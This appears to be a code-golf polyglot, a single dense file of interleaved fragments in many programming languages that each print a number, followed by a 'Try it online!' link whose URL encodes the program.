u8 "38\0 "//" char*x="24 10 31 1" "a c #FFC0FF""B c #0000C0""d c #58007B""e c #0C8302" "h c #E60001""i c #CAFFFF""j c #280000""k c #CA0000""l c #CA007F""n c #330001 ""q c #E60000" "o c #FF8000""t c #FF00BC""u c #008080" "A c #0040C0""E c #808000""F c #00C040""G c #008000 ""R c #800000" "H c #0000AA""I c #00AA00""J c #55FFFF""K c #AAAAAA" "r c red""g c green""b c blue""c c cyan""m c magenta""y c #FFFF00""x c black""_ c #FFFFFF" "HHHahtdegggggggyrggggggc" "IHHaixuEFbGGbggbryAEGRgc" "JJHajyurbgbgggggggb____o" "IJHakmyyyyyyyyyyyyyyyyye" "I__almyyyyyyyyyyyyyyyyye" "K__anmyyyyyyyyyyyyyy_y_e" "HH_aqggyyyyyyyyg____m_Je" "JH_axxxxxxxxxxxxxxxxxxxx" "K__aaaam___bbbbbBm_bbBab" "K__________bbbbb___bbxbb";//" int f(char*a,char*b ){puts(a?"124":sizeof(0,u8)-5?u8"67":*u8""?"37":x(0'0 "'\"")[9]?"75":'??-'&1? "79":"77");}main(){f(x,x=0);}//<*/ #1""/*/ >import Text.Heredoc--WWWWWWWWWWWWWW<<W >instance Num B where fromInteger _=B 170;negate _=B$x#x >data B=B{u::Integer};g=[here|here<-"W>W"] --WWWWWWWWWW570rt Unc27<<[w|] >x=1;y#a=128;x#a=174 >main=print$last$172:[u$[-1]!!0|g<"Z>"] --} console.log 178; #1""/*/ #if 0 #endif//* --... ...-- /*/ p=sizeof(" (\");print'(''72'')';end!");main(){puts('??-'&1?"101":"92" );return 0;} #if 0 #endif//* rk:start | print: "69" rk:end print 61 #} disp 49 #{ }{}<> K yya+- & g+$ $'main'3x A=AgRA; AC #-3o4o#$$$ #<T>"3"O._</+++++++>/+++<-\>+++.---.\_<!+++++++++++++++++++++++++++++++++++++++++++++++++._++.-.>@ #<<<#>>> / reg end="";print(85);reg s#++++++++++++++++++++++++++++++++++++++++++++++++++++++++.-. =end ;"""#"#xxxxclou"78"<\++++>/<~#class P{function:Main(a:String[])~Nil{83->Print();}} #endcOmment #nocOmment outtext("155") #ce pS9^7^8^MUOUOF @0:8:8 \ @,,1'1'<> @125iRE #p|o51~nJ;#:p'34'3 \=# print(size([[1] [3]][1,:] )[1]==2?158+4:17)#>say 27#>>>say 170-3#]#print(47)#]#echo 21#>/#print(171)#s-#print 175#s #8M`| <esc>dggi2<esc>// $}<}}<}>}[<< }<<<<<}<<}<<<<}<<<}}}<}}<}}<} }<}}<}}<}}}<}}<<<<<<<<<<<}}}<}}<}}<}}<}}<}}<}}}<<<<<<<<<<}+++++++++++++++++++++++++++++++++++++++++++++++++._++.._#]~-<~-<~-<<<~-<COprint("65")#`=>ass^_^_# #9 "25" +/pppppppx eeee*n*n*n*es*s*s*^ee*n*n*n*e*sss*e*n*n*n*ee*s<* 5>1 e*///\)Q222999686# ``` [Try it online!](https://tio.run/##zL1rbyNLliD2uXL9D/wllNQtZopkkkm9SZFVLJV0S/dWldSSqurepliqZDJJZonM5M0kJbJUuuhZG73zWNi7Pb2D3h7v3O7ZNTyAF/BgbQO7mAEMeL8uBvsb7nwyBob7H7TPORH54kNS3Z7xmhKZkREnTpw4EXHixIlX0/C7v/1tCj/syO1NOj13yIaWP2Qtz760PI09mbDHhu2vF1clCaFqXmfUt5yhX5JSTGfMdky7Be9s6F5Yjv3B8sC/yNjAczue0WfDrjFklm8aA8tn7mg4GA2Z254fbZWxvb773s5hzL7tdABsaHkDzxpS@Bpjr5ye0W@2jKmQ9akEBx6E@@yp1fvY/zhkptvvG07LB8gNxl64nm8hvGn5vovRNxkb71nmFNItADU8231ee/n5VNA2Y58DicagZ42Z0fSHnmEObddBnhTYyctXJ0dTMXSdvT7d35/2LbIvc67D9kfmxXTQKnvl@UbPmMa/xmqjoXswnPZfZ7WO5RisqG1rxenADfbEM2aibDLPMlptu2dpUCAsx7pWb2B5DH1Y2/XYAZDU2ypsFc5rUUzNxLhbUSCLBfJacuS5rZGJJTjsWpAxLHVE6ksmUFFlA1HXNHSwFJHBwQD1idu34szwmWNZLeYPLNNu2yanzhoPLceHBH2N2cC8K7vXYy2rBxEi7GaW@S4b@TGvZs/oaqYmYe4wFda/6DGbmYMB40GsZwNJ@4UtZmFdZB8gvNf12XjQZ77dh@Ch6bbblsU@WIMuk1quxOBjDqYyFb4tWwDjWAFjrAHUKWSMi1UQuBTw58ozBsB8X3BgaPehxdjDtM8sw7exTUIU33JaxNNB2FpdZjhxdrFLG@oMZHzkEW7f8qjUCC@UsGcBSiNsL8qVZw@Bl8iLGjuyDI@depalJltuIklIzMUUhpgRjYp0Zye9d7ifhqLlMTRjAEXprZ7@6AvJYFqFLZ@X4VuR5bK09/Ipu14@QzdvqFD8A08xVFb5lvn5szMLvmO9me94NxJglYArPZZ3B8O8kRsAgbkhEJg30Imu3GVRG/RiCbOdqbKIVTgO1YLSgPrLXmcpZ@bI81AYRUw1LiDTPdfpAD8hs97IQX44bKMARWC6IEuyzLoErkHjpTJyr4jDp10bCs3HIom1NS5SiaEgVKESC44G6fpub0RwENMfYk0GrkBUxHjQZq9Z27B7GAXCERWn2rP8UW@IcUZOC0seRKbV0lhAhum2EKjvXkJyBiAlD6j4/VirJKIAGArCpaxi0Pf/7E9bnQ7gqZmm67VEdX3NWq5Jwt8gYkGiMqywrmP0iCyAy2LqPDokcGn07JYxxOSdiUiCiKBUr9xRr8VcSNC7sqGNdo1LaNfQtMyhxSs57y@yrG9ccFli85oLGe8bTShYSoDSpmzn2ONdKCXTklJUZ3L90bC9xXKDPZb282@VRyXl0dKZBcSpmrqynM93ylDhtBXygrf0bTXndS0hPP2h4bt2SxpMhl3XKbKcyWSz4g4sR0kncKSzaa@ZVjWUcYpatium1radlpLegbpYhYTTatmsmHW71ChPRY8nCWiuEA02V0sxVVkCkUON4jLfN2xHG0zY65xwxcJc/xxZjsFazBsZM@13yT1S1F9ivXSxgoAc0vyeZQ2UgqarKCYQbm6@MWBeTqdwiAyX7EYmnUpn4lknDJDTREaxsZ7aLoqt3qCLXSUwxfEH0A94WHdNA2qPj93BEJSWLGtSvaY@BCQLycQrK@1ZrAmCNKhH1CR5k8P4ORSUAkPUhJIt2WrFGjIIAWjLQ39GGvfcK0iQaMJOBkSHg4kaHSgaiMwzUuMZ4SmRTzJLFw4IFMTWtNhWrmlDI8DmBjJd1PlY3gB8tchhABtvJDHZ0zcmgMXknWrUYJjdhrbUB/HgTZhpocwB4WPxDgUTGVH780FNQ4WtkCuuryfb2EwTG3r5Wu7HIKQ/5G9tSZj5pMoAPU/bumI9w@mMjA5qig5EMUzTGgyFoIKc@EMQRdP9DXnmROep@V1p@fF02tSJBIpFlAYKeV56ois0ULoIXTHXA2HKDKHtspbtgVjqTaZTB4DLqcTldwiSIOCdvICEQAOASmaNLXM0BKkGFfiqa5tdqLNIncPlIu@EppMHr3jqINlz7TBpJEavPixKWj70QjIWoshhic7igc4VUVUTHlT4cY/bMRt@fw5iNyQROoKYr5Y3NKh7d@Dsu447BykwMkSLIMkQXg6giZ2gOgkdV6B2UWMNdcywiKDMQGpAy4f61x0OB34J@gl72B01Nagp@VNvcjA8dLCy5IfexB663N3suU0Qyz60z3yQQt4cNe3xVIbILyzD9750CQpY22cV6Lm/GUGtU9JtHwQm@e8icCxIJsFNKPivDIAEpAGjlLZPongfhMrJxDEVWaOmpEGjk7NMxoYrq@DAWCFfdt0@SiH2hhQD1PRg5GA7bZBWQuaTyDfmdnWh7Ce9Lp3W3ru2o1ynl5aW0qV0FST70tIjcO2g6xG6MuB6RK4cuRBOQxfFyJILQ@sUA/0a6Zt6gHmsNrDYxtgrfbAHilEvlVYbWaOui2cRnyqIOpBsAJ3DB@BJq5UKOlVVrl5BRrVmO5n7XZTOJ6ZnDwQTvjAuDf4uuLBKbLD7A9dDBbaMneztPOlXPOgFQWk1u4qXPqsXzhpn12etzNlNOoux1bJRaUKmID2lr3U8dwTdpVpfK@X0hqrWV6GTbFbShfSKomzlepCQoaqfbakZg3NbSVsgtZWzszQwVfCnbnY9wjfOFlU1ZBXQgR0z6IRKWrvegvSbakPNpCGums7CEKOSTgNnTGSCT5nGmplg0OHxl5wxu5mMRNXQ9S7wOyP2wU@D4RWPvg/1d/fkeWKs278A6cpMv4eqSM7j2gi85le4Z4seocZVYgeksTrQ3UIOoLdthSMjx3Vyzoj0Z1Ju3XhCNBhECPLDvgflqp2AQcRtewwDBGj3k0ARwv4bdaFdGG66MFh@Q6qJzKDhMGzu2lxt6Ih3K5rpR3UA9B5wDnqGCQ07ie5MZmeAEOp5Pj8/RC3PIJ5WlWhUc1ceoWMxDQf517JJax/ZfhfZC5oVDiW8NnAVVXbQDSzi2gEzoc/vAKetsT3kOjzUoxOM8szwFRW1xhrXulDZQ40BiQosANSduyaMdyzQHDCUDx7ZnnNpe66DTNb2ADVU@DKWwRTyeeyFalSrHRSfLubvPOTAsRlvPcbbONZp5pq@yfKO23M7LlsBAKyamsYr9oFjAgmg8w1heMl8@wMxqNZxYeCTrIMWdvc@6oj6xmqofRsImSd47T3IGjY/0xHAgjyfHPx4D3oIfb1QAPqDtwJ9wkzGsEznET1NFgEIq18P6w2W5I@tQXfiJaqT74pRJNQn1@INk4/rDehQgSrRwj9Q1Hgj5z7QzoOgVuCal/c90pDQlBEfZSRyD8ogtFORHd5sIIepKW/0DViRQDpT4FH57oPsPO2OLMkyuy6Tz0DDKFZZvmVd5lHgyCDouqAq5yApyyNlLIwmrJDS0B2BVteyenbfHh6QsavnoOoSdctB6C40sAjBkW0NJTHeiMQrGqQiWet0OPzeGDskX7LoyV4ePt07P6qdPqvI@ZHv5Xt2E2pwyzrvg@LZs3yZTX9S7NgCZCL@h4vesesOK7y4Lnrszk8K4wTRnz89f37w5Lh2/DUngtD4dn/UM5CU0vIUAEY/oeCgVcWsgG3P7YcauS8KYnkVWW8lzMY4PBWhaxg6EkbjmP8G@vfREKyZUsc0Wc7lr6GnANxEQDQOUx/WyWQQkozFoaeA3CKUaDDWvGbguY2eoak4YUSN0M0LXxxJYL7WCzeI3HdG/iCWs2tdJ//LYbuNvXboXSTvixxW9V7kvUre3NScNPIKtswEzQUO8a0RPm6inotvJmgucIhvneND0/Z8dFMh80BDZBuEDE3hc3FNBcwBDDFtEqa4@TwK26KwRbZzkdbc4IWReHM4BQH83IVu87nt0zRKvH1IoXp3JsmBjppQxuQopBjZiljucr6RS44jopYLjevCxaFR5DovaPo6YglR9C96szHboGHQTwJ0hqjZEC4x@s02/cwBKAn7CQhHnA5ArnyBNmA08big71lXBEYjQUIG3LIdI39MDxwTzqMnObpNENO02iNQhfKgqqP7DrDc9hZBtptNexEo8AVJD55zwLxRcx7bYGTanTGAsATjhyNv2LNa4vmfftKCApgtnq4xIfUvdJwD36hutBeWloiKL/Qzv2QJ5v2oZxvEBnLdhdI00OZs9ELHfNTYj7Fcrmt4fdSyROFC5cQfEH231DNOuWf1Ri0reM5PhFicNLPw2I7dpxzBE4cJNChaEH3KSMTjk6Ldc40WYeHqsG1Fpc3LxRpzxTCmb0Hvcg86A1sOiyZPht3RcMR/cb7krnK1B/idz5VSspIV1o2mbuVd32ja1i31wDMuRi03N7joUKaRtI1FtZ03IjQ95No944I7z9E5nwE8i57d6Vhe8FwEdtUFDY9U0/wVPW6pKkH/ykhjMm7D6fX47yKQYNI7dCzmk92jn0@pkFRFTGg1yFqcEs3F2GRPMbZnNCeoonc/vWZhgqS4gOCpmJlMYRW7s9ACHk2@DgaL42MfSPG3t@fH5pOxnCXzFNc8n4TNcfME5VlMy97R6qHnsvtGL1dsxZwLhXhg@opcc0BpvJYze4YPlWkoisO6hOKjn9sqOHZGJlaryHVL9Y7ICSZCFtnUozgD23R7tj/gLU68LJKm09bICA3OitNPFBXfZvnbIpXI7@ZC13yB4JpDtGsvqG/3EHDcpIxG@1gF0txFvDPdK/wuVDG67qXFf@d3eh/mUnUPUZXrUc2wzTnRW@Zd1RVnRulnPhcv5lI1NHtz/Uvshet6XcvxWVErBEY0nJYyej1u4z49OFxcp3275/owQMPf23gBAzHf57/za3Ocbbbh5MjSGHfPjyaIGjBNWFYWFKbR67i9ja1O3oCfhSU@8trYA4jnfSVfKLl0/W7JFShIrqOL50KRf5H3Lu6qDGSO9HDaIua8pb@dJ76EuXtxBmEYgXOR8zO3X9iimFqej5YXFYBndq@MSfD8Ab3KIu4GvcpgQuo16H8YYXsLHEOPq9w/JLW121Nr3U8mzaDdvCsTscK96Fkgoel3pkhZsaB/Ygy9ULi/hGr3RtbImisxDpvvLVycdousuD9RBZGNZWFXygPz0KoUQn0Qg8d7UY39N77dKmCMng2N/E4tZ668G4BOPsDx9hE4jtAxG7HjjAaJwo3x7njkHN/Oue4gaNluK0EkhnyqRNq6W5dKqO2@Rd9FKv5e34UhstsHncG5R/kLpGSK478JxOQTYX5vo43TuxVviYXzm6DXgv4BpWpf@Dk0lN5P8BQXje0JeHsbRm@ONZzg7yJuzxOkTdftfUrpgDxt2aiWgbKJKw3vKqUZXUdMdbPIiuGjRaTZXmS/4H2NGGgC93BQvbCgjyBLQ@oc7lPKM7bWW3qtmOX1rvEm9NhkJPI9M3AvovcYG7eubWmbtxLM1VG3afUM/hhvrN2Gb1tbvY9KNAj0XLLUo3Wf2/OjCZHUlAgaTIBZdgvGKl2rb9HrLUq@0Xo/8oPHQqCxi985wVqerNML4g1saPMO/ibmDmJa0dB1YHQ1NLyOhcOTHk5qCd9FcjYwes9l7kHf6Fj7d1auyEqB66D4oC5yzrdXlPjSBBOi3SFJ@MjPdS6siR885@vHExPKc9S/Fdu8dm6iMfTOhq3l59r671D7nK7bdbpW16PGEb4tah5QI4d8ZfptmQD6u4Z/gQu/SCZFw7quH@duz@317sNdlIlcQrrufDvtHi7ZbkHUT8I7MZoQIB53mvSg6yYmUR@@qO10rRH0UL47dAdWjt4WgfbQ@MN/55ueDw7TPntjW16Lz1qjJdAY2s2exa5sIOG9H58qnW9YavZcA9cW3qLEA2eC531MVabr3WkH6RjucDCgx/mgN/Lph0y@ufZ8W2aJ7ROl96kM9pAvGOBV1uq4TbNr30VS0zKGjn2RD2w6/HV@NU8KY8q5zXJP0Vvr2cArb6JhJajEw0/wcTC/4dvPxcaSWxWS3ZHnTe4WDsmp4ND8yicN0LHIACNm7eYEU9ePq2KC1R@3zFyISb6FNYqUaVScc1YBtBN9oTkosQBIsKC3ujq8g0uma17cqU8sNGSK@WEy6dmxOW7wn7Zi3E7GMyHfYHSoPBt1fPXuitttgV6FP3MrSa3DKwhOLPk99ypmeIambzjiMTdu8fndqdPsyPqtEyUlpj8/rx0e3I3M7NkDn/@yXLs4V1WYndudhZrMH/uKompZbf57l37Xdz1cBw2KRM70LN9EOzjKYC4bueBx3A7I4lyPRcAB7FzyZ6eS52koyX4u99VLq2PguqjnNi6R6vmzXR9gnp5Vvg/iH40M3/7RyB1ac3FOzy7fB@ULo2ObzxIlECAMuCsW0fBHQlii12xBXHVtn5ajBo5FegRUtNvF4bTBPdwadbtxJKYjibWBLHfAgjWEoQNN/hhuzE0rrr67g8m9uiSypYrn3Po0f05@BpJPxh/TnqBw9bifFYuewM/2xNYVXwv2h6VogRitJQ/WFrMUrnAfobAbup7GCE5RjExGVSUeCe3GHQfAAijaoYOr9/nmH5/1bH9IsHab1ets@XpcKpT0G1ZhcklmjQbHih9aS743HtD2mmMevb5sNCrL6VwuvZw@c0qskA7BrR4waS64kYBt2/Tg9EYsYI7BlwGiO8hxme9O8Lu08wcUhBYoGq9gfEqdjevxNfZ8A8cpTlj/x79oiQ1RMBrxWd8GcQUMwd2Abt/qulePeLoi9dpgYOCGKsQBtbvHl/fndmvMv0KNhO@Dcq/Yq/3TLbG7Qmw9hJcj7DpjVPDCxaExro0c8sLj1ITr3ETCYawgU6bbG/Ud0AFbw66vsROblj2OvGj9ErgQzBl6qAi3suyAtSycFqTVrDT267nuBS1LR0r@41/wPSW0plWsNQySp71ksRRx6apOGzlM0x0B1QGSD5bnChAFmQw1fISWFWgtFvdXcaUnbXaBGpkLtnpQMny/x27thOX2WBp3VeIK8rLdVpZrx5@/rhcalW9ZP2/9p5/k1WvBOPmz3PaGL2dZAFK@wYoVD16H4Cg0zeTlscwTDBf82kLhuOLlASwyeCXDNb9BHXPdgWg1tF2PdqeFtVHsPFbQTeUc7Pno004/qrDWFe35oIV2DrZ83ELn@NDA4FUl1LzVVZaVER/8506GbB0SxH0zBrj43kBaAov7FzDK8ph9ZF2sZDkTl2XCG2dkD7fM9CtPgnUiq/HVPPmnVnNEU9iXRa24WqHsLJ9Xdqrk8qyWi1vX6m/PxsVC7my8udfI@wFTz87GnxWKXwHXXRiXLD/MY8vbe/n0elmrFj5@9I0Jk@WbdJkvWAIxsXx9dHC0d3JaO311AqVwE4iffdfrG5GswVpECy27bo82BQJfPNvyP0H@hG8Arihs2WA7uGNaVaX4GkICFbyWc/Iyd8ZEUyL2HdHnxfetWPgsgJBpbZsFNSpaew4dDBYm1DpkH3JhNMA9jkwgEfu0qLrZKOyxJYUcwvVhc4Qq8UxmFeBaDrh2T56xxbl@xP3uw7o7sdzOv0dzQZB1YXr1MJxncS4Lbv5e8j2AHvN3zzfHcnu@CeaWfANo6BvE2a8dPH91vJeMBpWNniR@K9vrYhUtl9LY5LgBIdiYRhsORES0oFRkJlME/ip6tRFuWWpawysLsiWkpNnnkamGEv2yFFVM4EwFDxdolDkvFIUoQGWkjNmaWuTbtscxEoPOOobummcxlAb7cog6IFyTBeYU7dHX8BNkA7EKdgVt8IikuRDcaT@uB2WDFodZw8565PM2t6DPCrsfn8F/rHsKXMUGGzPRr@kNlmNF@PYsGJJ0Q1i1zDsrtswZIS9z2uWQXtwhDjS13hs0hKGlRmIdM3TXPWOA21EF9EsYNpTYNyOXNk0EwiRUNK5QNTb4UQhUtKaBuaHNGM4Qt5YGHRjhO9g/qaCaxnU0EvTxOjdysMcCoNjRBHtj0HihsrVJ6PNNzpzlrthPG/SZZNnyxf65UF3w2aXtk@ULC6GNyk4PJCXmRmQcj5ag7TKs1vNBOWlBPw6qyhD7XNBSNFpBy5fR5hwmp6BOaqHumGWyhLB@ZXZ/JfSpVyb0r@945GWCI8y@NGcj@JmV//6f/Snf/H02BPcfCPe48ATe/ki8tcH9T4MQXYe3fx6@FeHtZ/ztbR45OrvjlecmZCIy8PXBEfPJOIcs6hvjWO6x4WJR2s4IirUPvL4k1iE4z1bEmQiPUn8NnIfiAraj@oAaA6VneQ0F9yuW8nnUrnFGRaOVndaYW@Zo@@I3I9y2D0pOfmN9Y03PA5G5ywAh7SHq4FJCjlBVSyBqpEt7UHnXNNnOzg6TfdPoWZWNMmd5ftl4uyq/CwldBliJK@J1BnEgShQDwqoimrJsZHQVo2L/kNbTKCpaLi9B0LYUcgCIit5OsAkD1DlXsAqqh2ONh6SRTIIBBshBh5b1W/zwhgBRDhBx3Li5fLqWR4sDcS11rN5r8WKQ3yDYCYKV5HmVrP6WnQ3PnIY4ZIBBhfnVnCrngPsP55w8ENae2uyWd2V6wzrmhj0@cVxcRLoP1DKlmC@u5vUNNdamZIEK6MUW9BFQQpuBNmha9nt34Nd29w6@ODw6mdm6TZDpabA0S1d3Mmc5LVtvhI70VK0PmPpkP3/y4sl@wMo4VdHcKkJEE6zTZM5LbZrSBam/4asyZ9OmgJmE9MJ9EdNMRm6f1iDMYo9C8zHAXb4abCZVRb2@qTd2qmdOaib5j/OOs0hpK1i5wHXm02EWaTZH5hwEa01P8aQlXwu2KRTl6LCWcFMCf4@8F2@@Ds9tinZgB6taJdobFW6NkrQF610h71qeJ0XbjzlhAb0gawJSdSQ1StCUZubH49QwkZfZI6bE/o2QSYfcRkOnShgODMs92@TQPglobsmhoxBgDH8Q643NLq2JoZHnhEbyICpCq3TLJsOR4QWbcsKQE6tv504DelBwRDuqxVbiLuStZzfLRqU@ZuGWjts2Fmv@oGcPFdzlPNbQQgK5UVTMgL6D24TH6s52Q@zIZsHG6QztvT4aAb@O3AGLrFNPrcB1DCoKezoC5CaOb74Y9QGuTY9jC3sJC5SWHEQGPqYDIuq421jkQeu31iF1rWuNW3YHehpFzYJI@kzXo13bBm47dtIghzmrPsdFg3HGfNJO8xjHjLqh2U7LGiu4qa/UQO6Af/rqzWValWfqAG13F5ubW9P73gNhYQxFq432jE8JhO3tUBAk2872ttb1JdxyA8owpHgy9J6DE/pQpd03BkwZ0cEBPtMYvSpnipP1h57KclXsz66YwzIZGlTDgwJAV0bQNrls2qGp4Dk7Sr4C5Yy@vtPCxwd7wOq6pjXATYmobBkNarugbqApSpVgbARRSoQWOmD4KyFFoHS2kCL@XKZkJdq7C1Bzg6khd7rUAIEXlGtWfRhtlIy1QM7V7e2SKI2kONxmUC125kgMQDtHzAW6KfBXbJoArqEQA6hdz2rZIFAef2k5DrRXBepMH1onM0ZQyTw1Gxxxl43OD6IUUpzEZ2IXBhCaPFdoL33dc0GfWc6XyTZTvoF@/90Zdvxt0fVP8v91XsuXr5XlXmWSB2VMrSrL3YqeWV3JZJadFWXZQXXk4UM06dwsg7ZzrsHAaAxAueWeWob6DNpRZdkpLxs7ynKrUlyhGPAKQ7NriPCtn9eul42b/PJD0Cay4OPx1qks@7Tlv6Bp@g3Qhy1kOZ@FOnONe9fp4DpMftnOZJAGbfkcCfg2f3aSoX7l7CRP1qOyUHLznX4gRpK6SlgSMwfucQYK71Io0ddRoosVNOcBcHSq0Oq8sFu16y9xvSGjqVHL9@P1Kxlyf8EiBBoKJyFkFH7mAjBwrAAT8TVrqCoIk9/@NqVvMCY/2lhV3Myj9UI5k17XYXgI47rUY1BU8yuyJ1@fPc1dMiuXrreNde2bxtHF0dFX6pnCtlk6tXso62vyW7ZdZPf7bLLigg/7XT6p1EpeSuVX9Ieb@fy7d@9AJYdPvapVQXzwj1rPpRt1ZZOx6ubmSnZjayX7OH0eUKUqxaJ6QkMidmbb9sBvteDrdumUSSXFP48eUVow7IR/xv1E@sIRvCCI8E19KpyxnmJnm4axklkrPnbKQN02flaZDk783YKvztbX2R5@/uZ/@5tf/M3P6e8X9P0rg12wD/C5aDP8J/eHVsxtoLvZ/oBHIoDuXSG5MEin11fTJ2/T7P@zzxLTq482//PPD79JDVPVYv6NB89h6pvUxlaKO8EBb6vB22WqmtpBsI2b1CRfqVTAufmf/xeIX/0C8GDIZAd@qusBro1JqpqrUJSPqeoGOPRiEdL9v37yEylVHac@pHRdT03o7zxV0PGz9VB/yNCRlze3ZNd9HBI8jj6BV17Xi2dRecaKG4s29O5COlCuzE0lQckd1iomagM5PgUOzyHdWHr87iljFnS1@CmVHs8w/PnU@7GWg48mmsEYX3LjIAuprUr2nCcf1tVUzDGV4fCXibyH758IJ6WCk9xydaPdiDP90z8sIjpgYiriXZg4m/YLuB6@sKDRs0@Bk1LfVirHQ/x70cS/oxP8@6Fijj2CzxL80T98wlf8XSIf4U0gs5@l36G5Sql6qt5o/KhLfx7@PXPwr/kN/j3/gH8/GuLfqYl/xz/Cv0WZkVI7OzupTOYYVENRZ@/zeQVfTTsXb0HdRXR/rx@2drhx@FhiqVwjk7u5qWtvx5lyWfyD0lQO3/DDXUBW4yaX23lbzWTqRF69KujcyTWqQCsnmX7e7gDizE59Z0c7r1arucbban0nGUnEe/w4g@30MUSsNup1KXWNZVHBnxX8MX38Lcpynl6xs4DeeRtcjJz0EB6MzgHGdyn1buedknmUeVToFS4L@oV@8cI9jP4PD8cQYI8L712v0C109RZIRFawXhUmhcm40HcP9RY4Lfgr9MFpF9rjQqfgFBxdn4wTqBb/9w/d4YtDF7C5EHM4LgwRcaENz87h4QvA14a038OfXSgUxkDkuHAJ/4Ueymc6H4aeb8/VszOpzuR3FnT/mp7WCmltI522G@sbg2/Orm@KG9/Uaci0vt2o43FADZll0@dn9XSjnMr7Z2d5ri7JxTW5TOcF3dycnz@tndbOz/NYtcY7y5nHmdxj@FSqmR3xeJRqVcuPzko5LFReKbXzVH7n0Vl1NYfujQyUXBH8dvKZT/xEKOFZXTqT0uzqzZs3@H1zdXnFXeTgfmdvwlD8eZMHL@5CL/ggaH5e/ISDgf75D/TfOvz/1/@LV0ypN1TGlOubHYU@Kv6p6vXN9Y34raqKIl6UHfhDD3jHKNc3VXQS0DW46oraUG9uuB/8KuoOR1jFNHaqFDkCvEaJfs3TPUuXQfOrLCtikufsbFwoqOUm@IR2aeMjzReoZVpSsdzEOR4YJegrKoGsr5XLa8K9uVUubwm3vrFRLq@EUAV4EU4AsnzDLGN1L6dUJIGPGRRGp7LJ@tm42GZFGe0yyrYKwzJ9FQf/G@tMrVY31sFjY0vNKQW02/AoZ/JgMDiTNbJUa7Q1qVKpeZ4xQeuUsgZIlO31SuVMNrzzM7lebGDc9dz2BnO93PaqKqvqW31nB9LAJIoqeMvpsex6aaidzE@nblLEJLa2rirNiaWubShbmW3xV1mC4lLk1fQqjnHSRrpef7yyurK5Vn/UWGEr@GUrys5ZtbFIY1DTKRAlQduv6CQyGYqA8rVR0W8q10YJbQI3ZVOcd9ZzO8x4@HB1@@NHfauA0IBAhk8QFTykStPqANHwNmAlfaW4upRfH3@2sVdgSx9X8FOv17eKW5kVkDIr29uNRoN8Py5JZZz14iPYXJpLKba1TYWWglFjvT9uN@hYlEqurm@sN3Koebwft1cgJX1zNbUiDWgVymaBtXD@zmNuu70Enl3DZ02cavWtXi84Le7K9XqtK7tlLUmpo@e13b3TbHEHUBb3a7vZ4smrJykdX9ejdwpexffjvdrTw1cQ4ej5Xu1k7/OD13uvjsDfh/5N8i349I8Ma2SdW1ej0RW@n1v02bV94/17YzA4h8ozGLe//9VPv//Vf/v9r3/2/a9/@v2vf/Gb737xU/j@BXx/xp8/@7fb6/j7m@/@@f/4/Z/9Gjz/Cr7/Ab7//jff/cuf8C@9/zV8/4@Y31@LbwyOf6FoANsf/ea7n//5b777p7@E778S319Of7//k3/H//9P8YfOX3//J3@NP@Llpz8DhH/3l7/C/5//5d/9h1/h///0r//uL//F3/3RvyHHn3LH//2v/i3//dvf@@nf/uM//tvf@27B709v/f3uHv7f/QP43J/O@@C5T74@1ee7H0TP78KNKBWqVL/4w@//5e9Dbf0T/vZP4A3@w6A/CF8SIfzlD6IXwPA/zIn0h7/57o//PHz7/SRgIgyQ/AGE/Vki7A@@/9VPvv/z/@b7X/3p97/6IxRPubXtbC2b0@8YigDg@j3gEHDjPnAAqAujwJJUpCf@CE@2RK7xirS@ioOFHP9kuOfHZVQD2dlHaR3eMx/zqBmy/EcReoY7eHUIXV2j0AKosQUMXcfXIJQdy3pRPmbnKwzNPI@C0TMfYHBCVj4@ZgAMkRkEfybrW7IAfMQJ/cjjZD7Gc5bBmBS@FBIOXxH6iLIq4ieGZzvv3lWqCPAYgnfgnTzxF1/A5wmMASr4gUd1i1WkLNuq4FFhCFiBdwpHJ70DLrwepCI9ZU9wyIXeT4FD3LDBxtI79o5DMoTdojgShH8LHk@4P2FDVN9K4JXhPk/h@a2AH0uED/@FjQTd@A0C4CfDuB@8ZhBJJmAT/9mpShyOCTtLZG4JeYqDRoK2lo9IRV55ugK/OvzvLfkSJpEZ4z@LkhEJZCRgUyYbFG0i7UzkJYWvmZnUgxjSVFgmCmOUZiaJKsNmEN4WmPCWpiOyuVgEBQtDp7IZhM5JMQhNzUYJg@IMymSSDMOYyUxlpAyuel4Ria5kVtAYzlY@9SNoogTmsuOWT5zfK1HO43gj6iOsRC@PkCHYKG0I4mo7zaeBvr3GVEmhM2dVGp9bgwE8X/idJ@6YKYWsLGf1jW1ulhbD96/dUqnyrb62KcGT3kd43K04eBUqMF6Bou3AByiQqtc5dO6gE3S8DalaFXOCTJeqJ3unEOH0kOnFgsbqhcb12mZxbX1tvbi6sbG@WdTXNrbXNta3Vgt6YaOwXizq22tr21vbmzdA0GMQ1dnSSnN9p/qPZj7/1T@a95nvix@p@hUba@zo6Ee5G6k6zuXyRSK5oq9vlicVIIS8pCqpr1y1nVznfJ/h8lzpjHTma1wKBKRJ1zlszQ/gw6QHEnsAXvABzDgjwsRM9MFhWcxX4mHifM5S1te3ZWD1meW0ODZpEP9IWHAP17bZQ5071zciZwGd0ikeu/8SEoBycNhzXJA4dNmpyxe@PbHMBRC7XX5xzq7ngq7@w2GeGM4FD3pq47Fr5jAMembgoSp@3x52F0C8GvRxi4nl/YNh2Os3gUA02nKAJ/Dj9Vx3HsAme3W0IJcvwh1UOP1JW6gA/Pjg82ensefpXm33mbTBnhy@fDr1WBdA6@z53v5p@LrJQ4Oo6yGKr/eeP59@FQ8cdS2x9c1sVtM0@MFnlj701JbfBiC6tlipkTcKsqUVsnr2fGLB@Os6l7vp2E1L3wBtY01OwYAPj10@4QdLD2EoPG5TY@i5/sqWnk6bRsfqs3EFmrAOtRwXxXbcHgxEYUC9XNgtgPbCVqFO5z@ieevckl7gyrFtne8wsH3pGQz9@niGL271HUqe1QIyrhzaPNHE@zJGA7bQEx7ohU7P7nRBvF25IYAPtbVpGAy@n/oBHFb8M7zdY8jTIL@ZkN4suHQVWsXeBCaw0BTGm/wbXNNLG3uCSXh/aHh4Q9wpilq6RIXhLtImnjtOm7NQg6F9lHRKuAWCd1uScOLRbrOCpKHwKha3t9a3tleLW9mt7a21dRiPr2f1Ylbf3NrchlpQ0Lf0ja31bT27tba9ugZiF0LXtzelFIgmu53PQ7eiyzI9bcfEEx538KhMV@tWpVTLamNDYWOlpbJUK/QYbTF5deuswCCiLOHa1pVxRS6u4cLzVZ3psiQbzGSp/f3dwv6@LD/BF7Sd7hZkuYUv61uFwuYTWbYoZBe6hiJE6uLb3gYaWWXZxpfd2v4@YniPL8UtxCHLFzyEv/SCl00Ac/BldRURMFn@JkRXAOQup2iLYg35S6HwZFeWR5w83NIGcDX@tkbE7uELBmCkfR6yC2Gy/H